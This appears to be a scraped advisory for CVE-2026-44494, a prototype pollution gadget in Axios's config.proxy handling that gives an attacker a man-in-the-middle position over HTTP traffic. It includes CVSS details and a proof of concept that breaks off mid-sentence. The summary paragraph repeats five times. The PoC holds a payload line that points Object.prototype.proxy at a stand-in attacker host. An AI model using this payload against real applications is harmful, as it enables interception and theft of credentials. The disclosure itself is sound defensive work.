CVE-2026-44494

Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.16.0, the Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. This vulnerability is fixed in 1.16.0.

Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.16.0, the Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. This vulnerability is fixed in 1.16.0.

Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.

The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server.

Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.

Severity: Critical (CVSS 9.4) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/adapters/http.js (config property access on merged object)

CWE

• CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
• CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

CVSS 3.1

Score: 9.4 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | MITM within the application's network context | | Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) | | Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true | | Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |

Why This Bypasses mergeConfig

The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:

1. mergeConfig iterates Object.keys({...defaults, ...userConfig}) — proxy is NOT in this set
2. defaultToConfig2 for proxy is never called
3. The merged config has no own proxy property
4. When http.js:670 reads config.proxy, JavaScript traverses the prototype chain
5. Object.prototype.proxy is found → used by setProxy()

This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it.

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype.proxy = {
  host: 'attacker.com',
  port: 8080,
  protocol: 'http',
};

2. The Gadget Trigger (Safe Code)

The application…

Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.16.0, the Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. This vulnerability is fixed in 1.16.0.

Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.16.0, the Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. This vulnerability is fixed in 1.16.0.

Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.16.0, the Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. This vulnerability is fixed in 1.16.0.